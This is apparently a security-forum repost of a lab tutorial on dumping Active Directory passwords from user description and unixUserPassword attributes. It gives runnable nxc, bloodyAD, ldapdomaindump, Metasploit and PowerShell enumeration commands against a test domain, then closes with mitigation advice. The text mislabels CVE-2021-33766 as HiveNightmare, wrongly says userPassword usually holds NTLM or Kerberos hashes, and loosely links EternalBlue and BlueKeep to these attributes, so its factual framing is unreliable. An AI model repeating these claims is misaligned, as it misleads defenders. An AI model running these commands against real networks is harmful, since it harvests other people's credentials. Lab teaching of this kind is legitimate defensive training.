• We just launched and are currently in beta. Join us as we build and grow the community.

Credential Dumping: AD User Comment

geebee

Marketing Strategist
G Rep
0
0
0
Rep
0
G Vouches
0
0
0
Vouches
0
Posts
109
Likes
53
Bits
2 MONTHS
2 2 MONTHS OF SERVICE
LEVEL 1 400 XP
In this article, we shall explore different tools & techniques that help us enumerate Active Directory (AD) users’ passwords using which an attacker can expand their access within the organization.

Several critical vulnerabilities in Active Directory (AD) and related services can lead to exposure of password-related information stored in
UserPassword
,
UnixUserPassword
,
unicodePwd
, and
msSFU30Password
attributes. Exploiting these flaws allows attackers to access password hashes or even cleartext passwords there by, significantly increasing the risk of unauthorized access to systems and data. Key attack paths include privilege escalation, improper access control configurations and vulnerabilities in network protocols like SMB or RDP that enable attackers to intercept or access sensitive fields. Notable CVEs that enable such exploits include
CVE-2020-1472 (Zerologon)
,
CVE-2017-0144 (EternalBlue)
,
CVE-2021-33766 (HiveNightmare)
, and
CVE-2019-0708 (BlueKeep)
, all of which if exploited, can lead to unauthorized access to critical password fields in AD.

Table of Contents
  • Understanding of Active Directory (AD) password attributes
  • Prerequisites
  • Lab Setup

Exploitation

  • nxc
  • bloodyAD
  • ldapdomaindump
  • MetaSploit
  • Get-WmiObject

Mitigation

Understanding of Active Directory (AD) password attributes:

UserPassword: In Active Directory, the
UserPassword
field typically refers to the password hash stored for users (NTLM or sometimes Kerberos hashes). These hashes are used to authenticate users without directly storing plaintext passwords. If attackers gain access to these hashes, they can perform offline attacks (e.g., brute force or dictionary attacks) to try and recover the original passwords.

UnixUserPassword: This field is used when integrating Active Directory with Unix/Linux systems (using services like
or
nsswitch.conf
for user authentication). It stores the password hash for Unix-based systems, which is usually a different format (e.g., DES, SHA-512) than Windows hashes.

unicodePwd: The
unicodePwd
attribute in Active Directory holds the password for a user in Unicode format (UTF-16). This field is used by AD when passwords are being set or updated. In a typical AD deployment, this field would not be readable directly through normal LDAP queries due to security restrictions.

msSFU30Password: The
msSFU30Password
attribute is associated with the
Microsoft Services for Unix (SFU)
integration. This field stores passwords used in Unix environments but integrated into Active Directory, similar to the
unixUserPassword
attribute. If a system uses SFU, this field will store the password hash in a Unix-compatible format.

Prerequisites
  • Windows Server 2019 as Active Directory Domain Controller
  • Tools: nxc, bloodyAD, ldapdomaindump, MetaSploit, Get-WmiObject utility
  • Kali Linux
  • Windows 10/11 – As Client/Attaker Machine

Lab Setup

In this lab set up, we will create an AD user, then add user description that contains user’s password and provide passwords in “
userPassword
” & “
userUnixPassword
” attributes.

Create the AD Environment

To simulate an Active Directory environment, you will need a Windows Server 2019 as a Domain Controller (DC) and a client/attacker machine (Windows or Linux) where you can run enumeration and exploitation tools.

Domain Controller

Install Windows Server (2016 or 2019 recommended).

  • Promote it to a Domain Controller by adding the “Active Directory Domain Services” role.
  • Set up the domain (e.g., “local”).
  • Create a domain user with username “raj” and password “Password@1”.

Create an AD user and provide user description

Once the AD environment is setup, open PowerShell in Administrative mode in Windows Server and run the below two commands to create the user “divya” with the user “description” attribute containing the password.

Code:
Import-module ActiveDirectory
Set-ADUser –Identity “divya” –Description “this is a default password =Password@123”

1.png


Using “Get-ADUser” utility and a command like below, we can confirm that a user with “
” as username has been created along with the description provided.

Code:
Get-ADUser -Identity "divya" -Properties Description | Select-Object Name, Description

2.png


Then navigate to “divya” user’s properties window by following the below steps.

Steps

  • Open “Active Directory Users and Computers (ADUC)” on the Domain Controller.
  • Enable the “Advanced Features” view by clicking on “View > Advanced Features”.
  • Locate user “
    ” in the “Users” container.
  • Right-click on “
    ” user and go to “Properties”.

3.png


This action opens “General” tab of “divya” user’s Properties window, wherein the “Description” added can be viewed/confirmed.

4.png


Update
userPassword
attribute:

Navigate to “Attribute Editor” tab within “
” user’s properties window, select “
userPassword
” attribute and click on “Edit” button. This action opens “Multi-valued Octet String Editor” pop-up window. Click on “Add” button in the new window opened.

5.png


Provide “
” user’s password “
Password@123
” in it’s Hexadecimal form within “Value” textarea and click on “OK” button in the “Octet String Attribute Editor” pop-up window.

6.png


Update
userUnixPassword
attribute:

Similar to the steps mentioned above in
“Update userPassword attribute”
section, one can select
“userUnixPassword” attribute
and update it’s value to
“admin@123”
.

Select “
userUnixPassword
” attribute and click on “Edit” button. This action opens “Multi-valued Octet String Editor” pop-up window. Click on “Add” button in the new window opened.

7.png


Provide “
” user’s Unix Password “
admin@123
” in it’s Hexadecimal form within “Value” textarea and click on “OK” button in the “Octet String Attribute Editor” pop-up window.

8.png


Alternatively, one can run below command from the PowerShell window that’s opened in
“Create an AD user and provide user description”
section to update
“divya”
user’s Unix Password as
“admin@123”
.

Code:
Set-ADUser -Identity "divya" -Replace @{
uidNumber=1001;
gidNumber=1001;
unixHomeDirectory="/home/linux";
loginShell="/bin/bash";
unixUserPassword="admin@123"
}

11.png


Exploitation

nxc

Run the below command from Kali Linux Root Terminal to Get user descriptions stored in Active Directory using “
user-desc
” module of “
” tool.

Code:
nxc ldap 192.168.1.48 -u raj -p Password@1 -M user-desc

12.png


Access “
” tool logs using the below command to revisit the enumerated information at a later time.

Code:
cat /root/.nxc/logs/UserDesc-192.168.1.48-20250120_052352.log

13.png


Run below commands to further enumerate sensitive information like passwords.

Enumerate AD users’ descriptions, using the module “
get-desc-users
”, which at times may contain passwords.

Code:
nxc ldap 192.168.1.48 -u raj -p Password@1 -M get-desc-users

14.png


Enumerate userPassword attribute, using the module “
get-userPassword
”, from all users in ldap.

Code:
nxc ldap 192.168.1.48 -u raj -p Password@1 -M get-userPassword




Enumerate unixUserPassword attribute, using the module “
get-unixUserPassword
”, from all users in ldap.

Code:
nxc ldap ignite.local -u raj -p Password@1 -M get-unixUserPassword

16.png


bloodyAD

Run the below command to enumerate all users’ sensitive information that is stored in
“userPassword”, “unixUserPassword”, “unicodePassword”
and
“description”
objectClasses.

Code:
bloodyAD -u raj -p 'Password@1' -d ignite.local --host 192.168.1.48 get search --filter '(|(userPassword=*)(unixUserPassword=*)(unicodePassword=*)(description=*))' --attr userPassword,unixUserPassword,unicodePwd,description

17.png


Output containing sensitive information like passwords and attacks a user is vulnerable to can be observed in below screenshot.

18.png


ldapdomaindump

Run below commands to enumerate complete information about the AD under testing, then navigate to “AD_DUMP” directory and list all the files generated upon running “
ldapdomaindump
” tool.

Code:
ldapdomaindump -u 'ignite.local\raj' -p Password@1 192.168.1.48 -o AD_DUMP
cd AD_DUMP
ls -al

19.png


Now, access “
domain_users.html
” file using a browser. Observe that the attacker could enumerate AD users’ “
description
” attribute that gives away user’s password or the attack technique to which the user is vulnerable to.

20.png


MetaSploit

Run MetaSploit Framework Console from Kali Linux Root Terminal using the below command.

Use “
ldap_query
” auxiliary module, set all required options and run the module to enumerate all AD users’ information.

Code:
use auxiliary/gather/ldap_query
set action ENUM_ACCOUNTS
set rhosts 192.168.1.48
set username raj
set password Password@1
set domain ignite.local
run

21.png


Below output screenshot lists AD users’ information along with their corresponding information stored in AD “
description
” attribute.

22.png


Note: Alternatively, we may use “
enum_ad_user_comments
” module and enumerate user’s information along with the information stored in AD “
descsription
” attribute. Below is the list of commands to execute in sequence and the output screenshot upon running listed commands from Kali Linux Root Terminal.

Code:
use post/windows/gather/enum_ad_user_comments
set session 1
run

23.png


Get-WmiObject

Open PowerShell in Administrative Mode in a Windows Client/Attacker Machine. Then, run the below command to enumerate information like “
”, “
” and “
description
” of users’ listed in the command using the “Get-WmiObject” utility.

Code:
Get-WmiObject -Class Win32_UserAccount | Where-Object { $_.Name -in @("raj", "divya") } | Select-Object Name, SID, Domain, Description

24.png


Mitigation

Vulnerabilities like
CVE-2020-1472 (Zerologon), CVE-2017-0144 (EternalBlue), CVE-2021-33766 (HiveNightmare),
and
CVE-2019-0708 (BlueKeep)
show that
UserPassword, UnixUserPassword, unicodePwd,
and
msSFU30Password
attributes themselves may not post a direct threat in all cases. However, there are various attack vectors that can be used to gain the necessary access to retrieve these password-related fields from Active Directory configuration.

Below listed are the Best-Practices to be followed diligently to remediate and resolve the possibility of enumerating AD users’ passwords.

Use Strong Encryption: Ensure that all communications between clients and domain controllers are encrypted (LDAPS, SMB encryption, etc.) to prevent password hashes from being intercepted. Also, disable legacy authentication protocols such as NTLM where possible.

Limit Access to Password Attributes: Use stringent Access Control Lists (ACLs) to restrict access to sensitive attributes like UserPassword, UnixUserPassword, unicodePwd, and msSFU30Password to only trusted & limited number of administrators.

Regularly Audit AD Permissions: Regularly review and audit the permissions on AD objects to ensure that only authorized users and groups can access sensitive fields.

Apply Security Patches: Ensure all AD and associated systems (like Unix integrations) are regularly patched to prevent exploitation of known vulnerabilities.

Monitor for Privilege Escalation: Use monitoring & alerting tools and practices to detect suspicious activities such as privilege escalation, lateral movement and/or attempts to dump credentials.

Author: Srikrishna is a Cybersecurity leader driving security excellence and mentoring teams to enhance security across products, networks, and organizations.. Contact Here
 

442,401

317,942

317,951

Top